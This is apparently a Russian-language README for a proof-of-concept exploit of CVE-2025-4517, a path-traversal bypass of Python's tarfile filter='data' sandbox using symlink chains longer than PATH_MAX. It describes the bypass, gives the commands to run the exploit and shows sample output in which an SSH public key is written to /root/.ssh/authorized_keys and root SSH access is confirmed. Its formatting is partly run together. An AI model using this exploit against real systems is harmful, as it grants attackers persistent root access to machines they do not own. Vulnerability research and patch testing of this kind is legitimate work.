
Эксплойт Proof-of-concept для CVE-2025-4517, уязвимости path traversal в песочнице tarfile filter='data' в Python, позволяющей запись произвольных файлов за пределами каталога извлечения через созданные цепочки символьных ссылок.
Уязвимость обхода пути в модуле
tarfilePython, затрагивающая версии с 3.8.0 по 3.13.1. Песочницаfilter="data", предназначенная для предотвращения небезопасных извлечений, может быть обойдена путём создания путей, превышающихPATH_MAX(4096 байт), что заставляетos.path.realpath()молча прекращать разрешение симлинков. Проверка безопасности видит безопасный путь, в то время как ядро разрешает реальный, что позволяет записывать файлы за пределами каталога извлечения. Данный PoC использует обход для записи открытого ключа SSH в/root/.ssh/authorized_keys.
PATH_MAX.filter="data" вызывает os.path.realpath() для проверки каждого пути — но при PATH_MAX разрешение останавливается, и путь по-прежнему выглядит находящимся внутри промежуточного каталога. Проверка пройдена./root/.ssh/authorized_keys.ssh-keygen доступен (или укажите свой открытый ключ с помощью -k)sudo для запуска уязвимого извлечения# Сгенерировать новую пару ключей автоматически
python3 exploit.py
# Использовать существующий открытый ключ
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Пример:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):